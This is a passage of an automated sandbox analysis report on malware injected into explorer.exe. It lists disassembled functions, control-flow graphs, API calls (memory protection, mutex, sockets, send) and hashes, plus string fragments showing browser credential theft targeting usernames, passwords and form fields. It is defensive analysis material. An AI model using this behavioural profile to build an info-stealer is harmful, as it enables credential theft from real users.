                                          • NtProtectVirtualMemory.NTDLL ref: 0FBBDE67
                                          Memory Dump Source
                                          • Source File: 00000005.00000002.4103236234.000000000FB40000.00000040.80000000.00040000.00000000.sdmp, Offset: 0FB40000, based on PE: false
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_5_2_fb40000_explorer.jbxd
                                          Similarity
                                          • API ID: MemoryProtectVirtual
                                          • String ID:
                                          • API String ID: 2706961497-0
                                          • Opcode ID: 8fde5b3aa229c20c01e10f6c0a0911328a1d50ad6ca7dd15efa95d0be41baddf
                                          • Instruction ID: 813bfc52a1f1653d52ff89c01b0850b0efab7a443e8c526ff1c24b339a9a1c1d
                                          • Opcode Fuzzy Hash: 8fde5b3aa229c20c01e10f6c0a0911328a1d50ad6ca7dd15efa95d0be41baddf
                                          • Instruction Fuzzy Hash: 2E019E30628B484F9B88EF6CE48016AB7E4FBDD215F000B3EA99AC3250EB64C5414B42
                                          Function 0FBBDE0A Relevance: 1.6, APIs: 1, Instructions: 52nativeCOMMON
                                          Download Yara Rule

                                          Control-flow Graph

                                          • Executed
                                          • Not Executed
                                          control_flow_graph 448 fbbde0a-fbbde38 449 fbbde45-fbbde6e NtProtectVirtualMemory 448->449 450 fbbde40 call fbbc942 448->450 451 fbbde7d-fbbde8f 449->451 452 fbbde70-fbbde7c 449->452 450->449
                                          APIs
                                          • NtProtectVirtualMemory.NTDLL ref: 0FBBDE67
                                          Memory Dump Source
                                          • Source File: 00000005.00000002.4103236234.000000000FB40000.00000040.80000000.00040000.00000000.sdmp, Offset: 0FB40000, based on PE: false
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_5_2_fb40000_explorer.jbxd
                                          Similarity
                                          • API ID: MemoryProtectVirtual
                                          • String ID:
                                          • API String ID: 2706961497-0
                                          • Opcode ID: d782dca5996f3574fd0c4455d89641a9bf745bba617b6185d934ac73d2235392
                                          • Instruction ID: 1109ee5a543f5f765ca0d79a88b34a896341fd49a659d47bcc0a82f5f44722f1
                                          • Opcode Fuzzy Hash: d782dca5996f3574fd0c4455d89641a9bf745bba617b6185d934ac73d2235392
                                          • Instruction Fuzzy Hash: D801A774628B884B8B48EB3C94411B6B7E5FBCE314F000B7EE5DAC3241DB65D5014B82
                                          Function 0FBB78C2 Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 100COMMON
                                          Download Yara Rule

                                          Control-flow Graph

                                          APIs
                                          • ObtainUserAgentString.URLMON ref: 0FBB79A0
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000005.00000002.4103236234.000000000FB40000.00000040.80000000.00040000.00000000.sdmp, Offset: 0FB40000, based on PE: false
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_5_2_fb40000_explorer.jbxd
                                          Similarity
                                          • API ID: AgentObtainStringUser
                                          • String ID: User-Agent: $nt: $on.d$urlmon.dll
                                          • API String ID: 2681117516-319646191
                                          • Opcode ID: fab8d4f3d63e7cb3a61fc22749300fb1f1c56e9464b264e147718cbb7a7b3fb5
                                          • Instruction ID: f16629b7cce626b44933be36f697ce6c20c4f1252d8bed59d5171eb3112dd30b
                                          • Opcode Fuzzy Hash: fab8d4f3d63e7cb3a61fc22749300fb1f1c56e9464b264e147718cbb7a7b3fb5
                                          • Instruction Fuzzy Hash: 0631C031614B0D8FCB05EFA8D8857FDBBE0FB58204F40026ED44ED7252DEB896458B99
                                          Function 0FBB78BE Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 94COMMON
                                          Download Yara Rule

                                          Control-flow Graph

                                          APIs
                                          • ObtainUserAgentString.URLMON ref: 0FBB79A0
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000005.00000002.4103236234.000000000FB40000.00000040.80000000.00040000.00000000.sdmp, Offset: 0FB40000, based on PE: false
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_5_2_fb40000_explorer.jbxd
                                          Similarity
                                          • API ID: AgentObtainStringUser
                                          • String ID: User-Agent: $nt: $on.d$urlmon.dll
                                          • API String ID: 2681117516-319646191
                                          • Opcode ID: 89ed80dc1d123a3fdb33b1283e784163d7980008e053a39b7e2b7c015d122c3c
                                          • Instruction ID: 7bbf254e27e6eef019eb89b4b6b8bf2b608751f82946a4f625915b610020e330
                                          • Opcode Fuzzy Hash: 89ed80dc1d123a3fdb33b1283e784163d7980008e053a39b7e2b7c015d122c3c
                                          • Instruction Fuzzy Hash: 4221E370610B0D8ECB05EFA8D8547FD7BA0FF58204F40026ED45AD7252DEB896048B85
                                          Function 0FBB3B66 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 148synchronizationCOMMON
                                          Download Yara Rule

                                          Control-flow Graph

                                          • Executed
                                          • Not Executed
                                          control_flow_graph 232 fbb3b66-fbb3b68 233 fbb3b6a-fbb3b71 232->233 234 fbb3b93-fbb3bb8 232->234 235 fbb3bbb-fbb3c22 call fbba612 call fbbc942 * 2 233->235 238 fbb3b73-fbb3b92 233->238 234->235 244 fbb3c28-fbb3c2b 235->244 245 fbb3cdc 235->245 238->234 244->245 247 fbb3c31-fbb3cd3 call fbbeda4 call fbbe022 call fbbe3e2 call fbbe022 call fbbe3e2 CreateMutexW 244->247 246 fbb3cde-fbb3cf6 245->246 247->245 261 fbb3cd5-fbb3cda 247->261 261->246
                                          APIs
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000005.00000002.4103236234.000000000FB40000.00000040.80000000.00040000.00000000.sdmp, Offset: 0FB40000, based on PE: false
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_5_2_fb40000_explorer.jbxd
                                          Similarity
                                          • API ID: CreateMutex
                                          • String ID: .dll$el32$kern
                                          • API String ID: 1964310414-1222553051
                                          • Opcode ID: 440592a6460f4a8a809c4e0f2019460d4d12f006c7151b444d4376acf3ab05fa
                                          • Instruction ID: 5b384973bb3acf771c43e7557b5a19e8f001a6540a479ccfa9d4c1eb573d7662
                                          • Opcode Fuzzy Hash: 440592a6460f4a8a809c4e0f2019460d4d12f006c7151b444d4376acf3ab05fa
                                          • Instruction Fuzzy Hash: 14418A70918A088FDB54EFA8D8D87ED77E0FB58300F4441BED84ADB266EE749945CB81
                                          Function 0FBB3B72 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 138synchronizationCOMMON
                                          Download Yara Rule

                                          Control-flow Graph

                                          APIs
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000005.00000002.4103236234.000000000FB40000.00000040.80000000.00040000.00000000.sdmp, Offset: 0FB40000, based on PE: false
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_5_2_fb40000_explorer.jbxd
                                          Similarity
                                          • API ID: CreateMutex
                                          • String ID: .dll$el32$kern
                                          • API String ID: 1964310414-1222553051
                                          • Opcode ID: d29081eafe973aeb990ac80f5dcafeb95ade16b14a0ff6f6c0f9231c9beedf12
                                          • Instruction ID: 7b02df5ed629ab0cc506fb96bcb2c3bd225c409e059133830732279a472de87c
                                          • Opcode Fuzzy Hash: d29081eafe973aeb990ac80f5dcafeb95ade16b14a0ff6f6c0f9231c9beedf12
                                          • Instruction Fuzzy Hash: F9416A70918A088FDB84EFA8D4887ED77E0FB58300F4441BAD84ADB266DE749945CB85
                                          Function 0FBB972E Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 52networkCOMMON
                                          Download Yara Rule

                                          Control-flow Graph

                                          • Executed
                                          • Not Executed
                                          control_flow_graph 289 fbb972e-fbb9768 290 fbb976a-fbb9782 call fbbc942 289->290 291 fbb9788-fbb97ab connect 289->291 290->291
                                          APIs
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000005.00000002.4103236234.000000000FB40000.00000040.80000000.00040000.00000000.sdmp, Offset: 0FB40000, based on PE: false
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_5_2_fb40000_explorer.jbxd
                                          Similarity
                                          • API ID: connect
                                          • String ID: conn$ect
                                          • API String ID: 1959786783-716201944
                                          • Opcode ID: d2c20d592f91275318b70c66aa45ff63ae11574d98dcf1710f59c05c574d9bfb
                                          • Instruction ID: 2dc0b3cf28b099213c19140434835ec6a7c298f7d98f126bb8cba55e57394965
                                          • Opcode Fuzzy Hash: d2c20d592f91275318b70c66aa45ff63ae11574d98dcf1710f59c05c574d9bfb
                                          • Instruction Fuzzy Hash: 17015E70618B188FCB94EF1CE088B55B7E0FB58314F1545AED90DCB226C7B4D8818BC2
                                          Function 0FBB9732 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 51networkCOMMON
                                          Download Yara Rule

                                          Control-flow Graph

                                          • Executed
                                          • Not Executed
                                          control_flow_graph 294 fbb9732-fbb9768 295 fbb976a-fbb9782 call fbbc942 294->295 296 fbb9788-fbb97ab connect 294->296 295->296
                                          APIs
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000005.00000002.4103236234.000000000FB40000.00000040.80000000.00040000.00000000.sdmp, Offset: 0FB40000, based on PE: false
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_5_2_fb40000_explorer.jbxd
                                          Similarity
                                          • API ID: connect
                                          • String ID: conn$ect
                                          • API String ID: 1959786783-716201944
                                          • Opcode ID: 640b8c0ab7b1bb3acdb51d34daf9cec4a3878eee67c7b90e610521ed962b484b
                                          • Instruction ID: efbda8e22c3a3d5f826e747e29203281e917743c7d6d9cb02d13d3b8a5dd83ce
                                          • Opcode Fuzzy Hash: 640b8c0ab7b1bb3acdb51d34daf9cec4a3878eee67c7b90e610521ed962b484b
                                          • Instruction Fuzzy Hash: 76012170618A1C8FCB94EF5CE088B5577E0FB59315F1541EE990DCB226C7B4C9818BC2
                                          Function 0FBB96B2 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 53networkCOMMON
                                          Download Yara Rule

                                          Control-flow Graph

                                          • Executed
                                          • Not Executed
                                          control_flow_graph 407 fbb96b2-fbb96e5 408 fbb96e7-fbb96ff call fbbc942 407->408 409 fbb9705-fbb972d send 407->409 408->409
                                          APIs
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000005.00000002.4103236234.000000000FB40000.00000040.80000000.00040000.00000000.sdmp, Offset: 0FB40000, based on PE: false
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_5_2_fb40000_explorer.jbxd
                                          Similarity
                                          • API ID: send
                                          • String ID: send
                                          • API String ID: 2809346765-2809346765
                                          • Opcode ID: bba6785c5ab04fc1c912927f20b2eaf94db183ef6292e2548e0bd7e75e2cf9a2
                                          • Instruction ID: 05bb8b8d4e34bdbaf8aa51bfb49f31e1a72d8c962784ebab34a53984c10bb5b2
                                          • Opcode Fuzzy Hash: bba6785c5ab04fc1c912927f20b2eaf94db183ef6292e2548e0bd7e75e2cf9a2
                                          • Instruction Fuzzy Hash: D8011270518A188FDB84EF1CE048B6577E0EB58315F1545AED85DCB266C670D8818B81
                                          Function 0FBB95B2 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 49networkCOMMON
                                          Download Yara Rule

                                          Control-flow Graph

                                          • Executed
                                          • Not Executed
                                          control_flow_graph 412 fbb95b2-fbb95ea 413 fbb960a-fbb962b socket 412->413 414 fbb95ec-fbb9604 call fbbc942 412->414 414->413
                                          APIs
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000005.00000002.4103236234.000000000FB40000.00000040.80000000.00040000.00000000.sdmp, Offset: 0FB40000, based on PE: false
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_5_2_fb40000_explorer.jbxd
                                          Similarity
                                          • API ID: socket
                                          • String ID: sock
                                          • API String ID: 98920635-2415254727
                                          • Opcode ID: 205056058728d72a76f2a9c444eb1655fc63b7523a02cb36171bec795444162f
                                          • Instruction ID: 473a59225fd99f4a4bc6e95c8779f6cc061283683a1746cccc8704304dab8a91
                                          • Opcode Fuzzy Hash: 205056058728d72a76f2a9c444eb1655fc63b7523a02cb36171bec795444162f
                                          • Instruction Fuzzy Hash: 10012C70618A188FCB84EF1CE048B54BBE0FB59314F1545AEE85ECB266C7B4C9818B86
                                          Function 0FBB12DD Relevance: 1.6, APIs: 1, Instructions: 91COMMON
                                          Download Yara Rule

                                          Control-flow Graph

                                          • Executed
                                          • Not Executed
                                          control_flow_graph 417 fbb12dd-fbb1320 call fbbc942 420 fbb13fa-fbb140e 417->420 421 fbb1326 417->421 422 fbb1328-fbb1339 SleepEx 421->422 422->422 423 fbb133b-fbb1341 422->423 424 fbb134b-fbb1352 423->424 425 fbb1343-fbb1349 423->425 427 fbb1370-fbb1376 424->427 428 fbb1354-fbb135a 424->428 425->424 426 fbb135c-fbb136a call fbbbf12 425->426 426->427 429 fbb1378-fbb137e 427->429 430 fbb13b7-fbb13bd 427->430 428->426 428->427 429->430 432 fbb1380-fbb138a 429->432 433 fbb13bf-fbb13cf call fbb1e72 430->433 434 fbb13d4-fbb13db 430->434 432->430 436 fbb138c-fbb13b1 call fbb2432 432->436 433->434 434->422 438 fbb13e1-fbb13f5 call fbb10f2 434->438 436->430 438->422
                                          APIs
                                          Memory Dump Source
                                          • Source File: 00000005.00000002.4103236234.000000000FB40000.00000040.80000000.00040000.00000000.sdmp, Offset: 0FB40000, based on PE: false
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_5_2_fb40000_explorer.jbxd
                                          Similarity
                                          • API ID: Sleep
                                          • String ID:
                                          • API String ID: 3472027048-0
                                          • Opcode ID: 2c485226c71f8ce073f7c86c27236fb263c26e76649b5794a31fce9b42c1bba6
                                          • Instruction ID: 315c318208fef3a38e3b7f22f56a6ac7d6435ec2eaad58a0d8cbfe8818cef64c
                                          • Opcode Fuzzy Hash: 2c485226c71f8ce073f7c86c27236fb263c26e76649b5794a31fce9b42c1bba6
                                          • Instruction Fuzzy Hash: 26316C74504B09EADB64EF29A0582E9B7A0FB54300F9442BEC91DCA507D7B4A050CFD1
                                          Function 0FBB1412 Relevance: 1.5, APIs: 1, Instructions: 46threadCOMMON
                                          Download Yara Rule

                                          Control-flow Graph

                                          • Executed
                                          • Not Executed
                                          control_flow_graph 453 fbb1412-fbb1446 call fbbc942 456 fbb1448-fbb1472 call fbbec9e CreateThread 453->456 457 fbb1473-fbb147d 453->457
                                          APIs
                                          Memory Dump Source
                                          • Source File: 00000005.00000002.4103236234.000000000FB40000.00000040.80000000.00040000.00000000.sdmp, Offset: 0FB40000, based on PE: false
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_5_2_fb40000_explorer.jbxd
                                          Similarity
                                          • API ID: CreateThread
                                          • String ID:
                                          • API String ID: 2422867632-0
                                          • Opcode ID: 86dfbf082f461ee8d50c48ad175151c38d579804c722c71aa6313b9ca1572f48
                                          • Instruction ID: 6d79e3d5c38ab8cee6f2b3f364cd809f4981e4f4acf0a58d65488cabcce92681
                                          • Opcode Fuzzy Hash: 86dfbf082f461ee8d50c48ad175151c38d579804c722c71aa6313b9ca1572f48
                                          • Instruction Fuzzy Hash: 78F04630228F080FD788EF2CE44567AF3D0FBE8200F40067EA58DC3221CA78C5814B16

                                          Non-executed Functions

                                          Function 0F6AFD02 Relevance: 14.2, Strings: 11, Instructions: 404COMMON
                                          Download Yara Rule
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000005.00000002.4102788629.000000000F640000.00000040.80000000.00040000.00000000.sdmp, Offset: 0F640000, based on PE: false
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_5_2_f640000_explorer.jbxd
                                          Similarity
                                          • API ID:
                                          • String ID: .dll$32.d$M$S$dll$el32$kern$ll$net.$user$wini
                                          • API String ID: 0-393284711
                                          • Opcode ID: 666e7131670ab6034242d7bb31114c5afc39a2cef586e73e73495a4832ac64d3
                                          • Instruction ID: 22e975af8883da4188d0b16cfadd9516eaa4377b3afde9de8ce13bd7346cd04e
                                          • Opcode Fuzzy Hash: 666e7131670ab6034242d7bb31114c5afc39a2cef586e73e73495a4832ac64d3
                                          • Instruction Fuzzy Hash: E2E14A70518F488FCB64EF68C4847EBB7E0FB58301F504A2E95ABC7246DF34A5418B8A
                                          Function 0F6B2792 Relevance: 21.6, Strings: 17, Instructions: 321COMMON
                                          Download Yara Rule
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000005.00000002.4102788629.000000000F640000.00000040.80000000.00040000.00000000.sdmp, Offset: 0F640000, based on PE: false
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_5_2_f640000_explorer.jbxd
                                          Similarity
                                          • API ID:
                                          • String ID: Fiel$Subm$d$dPas$dUse$e$encr$encr$form$guid$itUR$name$rnam$swor$user$ypte$ypte
                                          • API String ID: 0-2916316912
                                          • Opcode ID: 1a4675aa69093f914decc08927043d33ef050167d1a45f8fb32d144d534e0ced
                                          • Instruction ID: a19a8dddc65c35b0ebd5abd271ce6ba4aa50584727cd2748c2217987c38077d8
                                          • Opcode Fuzzy Hash: 1a4675aa69093f914decc08927043d33ef050167d1a45f8fb32d144d534e0ced
                                          • Instruction Fuzzy Hash: 47B19A30518B488EDB59EFA8C485AEEB7F1FF98300F50451ED49AC7252EF74A845CB86
                                          Function 0F6B0622 Relevance: 21.4, Strings: 17, Instructions: 151COMMON
                                          Download Yara Rule
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000005.00000002.4102788629.000000000F640000.00000040.80000000.00040000.00000000.sdmp, Offset: 0F640000, based on PE: false
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_5_2_f640000_explorer.jbxd
                                          Similarity
                                          • API ID:
                                          • String ID: 2$c$d$d$d$e$i$l$l$l$n$n$p$s$t$u$w
                                          • API String ID: 0-1539916866
                                          • Opcode ID: e72b72cb0cc01a4fb435a8ab5948bc97e669459bbd1002971cdc116c820d8f81
                                          • Instruction ID: ea9f170a7f1231ee9bba45c3edb0ade6bc4ab090940a1b6957b7a7d3d6a35ca4
                                          • Opcode Fuzzy Hash: e72b72cb0cc01a4fb435a8ab5948bc97e669459bbd1002971cdc116c820d8f81
                                          • Instruction Fuzzy Hash: 1941A370A18B088FDB14DF88A4456BEBBE6FB48700F40026ED409D7346DB75AD858BD6
                                          Function 0F6B7AB2 Relevance: 17.8, Strings: 14, Instructions: 339COMMON
                                          Download Yara Rule
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000005.00000002.4102788629.000000000F640000.00000040.80000000.00040000.00000000.sdmp, Offset: 0F640000, based on PE: false
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_5_2_f640000_explorer.jbxd
                                          Similarity
                                          • API ID:
                                          • String ID: D$[$[$[$[$[$]$]$b$c$e$l$l$n
                                          • API String ID: 0-355182820
                                          • Opcode ID: 5b00ea5ff0ac38f91c5f3451741050e74e6bfffb06a4f81f7af14d2d93e98743
                                          • Instruction ID: ffadb5477b0553624e9f0515c4884fdfc12a206f01edfeaef29581418dc6e2f9
                                          • Opcode Fuzzy Hash: 5b00ea5ff0ac38f91c5f3451741050e74e6bfffb06a4f81f7af14d2d93e98743
                                          • Instruction Fuzzy Hash: 87C16A70218B098FC758EF68C485AEAF3E5FF98304F40472E959AC7211DF34A556CB8A
                                          Function 0E8C2AB2 Relevance: 17.8, Strings: 14, Instructions: 339COMMON
                                          Download Yara Rule
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000005.00000002.4102684333.000000000E8A0000.00000040.00000001.00040000.00000000.sdmp, Offset: 0E8A0000, based on PE: false
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_5_2_e8a0000_explorer.jbxd
                                          Similarity
                                          • API ID:
                                          • String ID: D$[$[$[$[$[$]$]$b$c$e$l$l$n
                                          • API String ID: 0-355182820
                                          • Opcode ID: 5b00ea5ff0ac38f91c5f3451741050e74e6bfffb06a4f81f7af14d2d93e98743
                                          • Instruction ID: e406e5758975b0bce656b96f2f300506840d8040827804bc512173bbbe232f72
                                          • Opcode Fuzzy Hash: 5b00ea5ff0ac38f91c5f3451741050e74e6bfffb06a4f81f7af14d2d93e98743
                                          • Instruction Fuzzy Hash: B3C15970218F098BC758EF68C495AEAF3E1FB95304F404A2E959AC7250DF30EA558B87
                                          Function 0F6B7F12 Relevance: 15.2, Strings: 12, Instructions: 201COMMON
                                          Download Yara Rule
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000005.00000002.4102788629.000000000F640000.00000040.80000000.00040000.00000000.sdmp, Offset: 0F640000, based on PE: false
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_5_2_f640000_explorer.jbxd
                                          Similarity
                                          • API ID:
                                          • String ID: .$0$c$n$r$r$r$r$r$r$r$r
                                          • API String ID: 0-97273177
                                          • Opcode ID: c99d8b63ad26ee68af9772b0c2f17264c0bbc41cf5067afa0da8e01a5053a168
                                          • Instruction ID: 90fdb6e62f28c2b0088c245e61b455fe22dd8178b57119f88c7402e7fbe67b09
                                          • Opcode Fuzzy Hash: c99d8b63ad26ee68af9772b0c2f17264c0bbc41cf5067afa0da8e01a5053a168
                                          • Instruction Fuzzy Hash: D651D5315187488FD719DF18C8812EAB7E5FBC5700F501A2EE9CBC7242DBB49946CB82
                                          Function 0F6B12F2 Relevance: 10.4, Strings: 8, Instructions: 380COMMON
                                          Download Yara Rule
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000005.00000002.4102788629.000000000F640000.00000040.80000000.00040000.00000000.sdmp, Offset: 0F640000, based on PE: false
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_5_2_f640000_explorer.jbxd
                                          Similarity
                                          • API ID:
                                          • String ID: 4.dl$cli.$dll$dragon_s.dll$l$nspr$opera_browser.dll$sspi
                                          • API String ID: 0-639201278
                                          • Opcode ID: f43930ec246ad51b32166c0bc4bf79f326171222225a5f9c9c86c27c8781e096
                                          • Instruction ID: 33e8a5744d55b0e5ab3b1aac3cc1ebe310b60cd6257f86dd7b55aba7be74962c
                                          • Opcode Fuzzy Hash: f43930ec246ad51b32166c0bc4bf79f326171222225a5f9c9c86c27c8781e096
                                          • Instruction Fuzzy Hash: B8C19170618B194FC758EF68D455AEAF3E5FF98300F84436D940EC7252DF34A9868B8A
                                          Function 0F6B12F4 Relevance: 10.4, Strings: 8, Instructions: 380COMMON
                                          Download Yara Rule
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000005.00000002.4102788629.000000000F640000.00000040.80000000.00040000.00000000.sdmp, Offset: 0F640000, based on PE: false
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_5_2_f640000_explorer.jbxd
                                          Similarity
                                          • API ID:
                                          • String ID: 4.dl$cli.$dll$dragon_s.dll$l$nspr$opera_browser.dll$sspi
                                          • API String ID: 0-639201278
                                          • Opcode ID: 3bb0ec29e48dc84c2f9ecdcc79ab9852c4e3249089256f700559b0558053754d
                                          • Instruction ID: 58e3462b9526993778b3defd8f41514e035cabfc2c78b011d066df65418e2c1b
                                          • Opcode Fuzzy Hash: 3bb0ec29e48dc84c2f9ecdcc79ab9852c4e3249089256f700559b0558053754d
                                          • Instruction Fuzzy Hash: DEC19170618B194FC758EF68D455AEAB3E5FF98300F84436D840EC7252DF34A9868B89
                                          Function 0F6B2CD4 Relevance: 9.0, Strings: 7, Instructions: 299COMMON
                                          Download Yara Rule
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000005.00000002.4102788629.000000000F640000.00000040.80000000.00040000.00000000.sdmp, Offset: 0F640000, based on PE: false
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_5_2_f640000_explorer.jbxd
                                          Similarity
                                          • API ID:
                                          • String ID: UR$2$L: $Pass$User$name$word
                                          • API String ID: 0-2058692283
                                          • Opcode ID: 192ee3367620c7562f2382bb65b9fc05a299a96abcb0fffb8f15ec5ae1331477
                                          • Instruction ID: fc7bdd153be3dee27114c2757d96c5d704b642ebf3a6e65e838995cb50d0f28a
                                          • Opcode Fuzzy Hash: 192ee3367620c7562f2382bb65b9fc05a299a96abcb0fffb8f15ec5ae1331477
                                          • Instruction Fuzzy Hash: 35A1A0706187488FDB29EFA8D4447EEB7E1FF98300F40462DE48AD7252EF7495868789
                                          Function 0F6B2CE2 Relevance: 9.0, Strings: 7, Instructions: 288COMMON
                                          Download Yara Rule
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000005.00000002.4102788629.000000000F640000.00000040.80000000.00040000.00000000.sdmp, Offset: 0F640000, based on PE: false
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_5_2_f640000_explorer.jbxd
                                          Similarity
                                          • API ID:
                                          • String ID: UR$2$L: $Pass$User$name$word
                                          • API String ID: 0-2058692283
                                          • Opcode ID: 811dc63e753d913bd80861ecf29671c0ec5da9e3b6d1a04c89c314a6a3ecac4a
                                          • Instruction ID: 7d6b43a986b3c2d4e19110a86b584ec8d84d98836d252ba3fa61c5d2ca04dbc3
                                          • Opcode Fuzzy Hash: 811dc63e753d913bd80861ecf29671c0ec5da9e3b6d1a04c89c314a6a3ecac4a
                                          • Instruction Fuzzy Hash: 1091A0706187488BDB29EFA8D444BEEB7E1FF98300F40462DE48AD7252EF7495858789
                                          Function 0F6B2352 Relevance: 6.5, Strings: 5, Instructions: 242COMMON
                                          Download Yara Rule
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000005.00000002.4102788629.000000000F640000.00000040.80000000.00040000.00000000.sdmp, Offset: 0F640000, based on PE: false
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_5_2_f640000_explorer.jbxd
                                          Similarity
                                          • API ID:
                                          • String ID: $.$e$n$v
                                          • API String ID: 0-1849617553
                                          • Opcode ID: 88e172b8451cd2a9b002e6988e8bcb77ce4cb4dc6623ca34b6f08ddcd3f94e84
                                          • Instruction ID: 10881946342e4579f8200e8fa23eb7164d2c5808554216e8471657664338988d
                                          • Opcode Fuzzy Hash: 88e172b8451cd2a9b002e6988e8bcb77ce4cb4dc6623ca34b6f08ddcd3f94e84
                                          • Instruction Fuzzy Hash: 9571A031618B498FD759EFA8C4847EAB7F4FF58304F00062ED44AC7222EB74E9858B85
                                          Function 0F6ADC32 Relevance: 6.4, Strings: 5, Instructions: 175COMMON
                                          Download Yara Rule
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000005.00000002.4102788629.000000000F640000.00000040.80000000.00040000.00000000.sdmp, Offset: 0F640000, based on PE: false
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_5_2_f640000_explorer.jbxd
                                          Similarity
                                          • API ID:
                                          • String ID: 2.dl$dll$l32.$ole3$shel
                                          • API String ID: 0-1970020201
                                          • Opcode ID: b134dbd9f6717a83955f5285ab3b339b989e1d50f8699707141bdd3daa24f32e
                                          • Instruction ID: 9ecf5efe435ba7c78febcfeb9777bcc545b74857cc9d46cd35e6323875cb662c
                                          • Opcode Fuzzy Hash: b134dbd9f6717a83955f5285ab3b339b989e1d50f8699707141bdd3daa24f32e
                                          • Instruction Fuzzy Hash: 9C514DB0914B4D8BDB64EFA8C0446EEB7F1FF58301F40462E959AE7215EF309581CB8A
                                          Function 0F6AE86F Relevance: 6.4, Strings: 5, Instructions: 157COMMON
                                          Download Yara Rule
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000005.00000002.4102788629.000000000F640000.00000040.80000000.00040000.00000000.sdmp, Offset: 0F640000, based on PE: false
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_5_2_f640000_explorer.jbxd
                                          Similarity
                                          • API ID:
                                          • String ID: 4$\$dll$ion.$vers
                                          • API String ID: 0-1610437797
                                          • Opcode ID: 946c6b85a27e95b541945c97fc8955ce25e9cbbf861c78f5b4a7a89501b4aa4c
                                          • Instruction ID: beb93b40cb53522c44841888f05e3c2272d0c7344529bc31e7ef4cb711c66e61
                                          • Opcode Fuzzy Hash: 946c6b85a27e95b541945c97fc8955ce25e9cbbf861c78f5b4a7a89501b4aa4c
                                          • Instruction Fuzzy Hash: 23419130218B4D8FDB75EF6898457EAB3E4FB98301F40462E995EC7241EF31D9458B82
                                          Function 0F6B04B2 Relevance: 6.4, Strings: 5, Instructions: 149COMMON
                                          Download Yara Rule
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000005.00000002.4102788629.000000000F640000.00000040.80000000.00040000.00000000.sdmp, Offset: 0F640000, based on PE: false
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_5_2_f640000_explorer.jbxd
                                          Similarity
                                          • API ID:
                                          • String ID: 32.d$cli.$dll$sspi$user
                                          • API String ID: 0-327345718
                                          • Opcode ID: 4331b437e8e8c33b9d3042ca7a101e9875946b76dc224aa53cf86a4375d9541a
                                          • Instruction ID: 12c135bae132b2fb562ae43a63f52b884519d6bc49267fc081c2c23ba7724059
                                          • Opcode Fuzzy Hash: 4331b437e8e8c33b9d3042ca7a101e9875946b76dc224aa53cf86a4375d9541a
                                          • Instruction Fuzzy Hash: 59413A31A18E0D9FCB94EF68C1947EE77E5FB58300F40456EA80AD7212DE75D5818B86
                                          Function 0E8BB4B2 Relevance: 6.4, Strings: 5, Instructions: 149COMMON
                                          Download Yara Rule
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000005.00000002.4102684333.000000000E8A0000.00000040.00000001.00040000.00000000.sdmp, Offset: 0E8A0000, based on PE: false
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_5_2_e8a0000_explorer.jbxd
                                          Similarity
                                          • API ID:
                                          • String ID: 32.d$cli.$dll$sspi$user
                                          • API String ID: 0-327345718
                                          • Opcode ID: 4331b437e8e8c33b9d3042ca7a101e9875946b76dc224aa53cf86a4375d9541a
                                          • Instruction ID: 1167bbb9873a95d5e55232608635bcfde40e8509c3de6a662595b95531b229d1
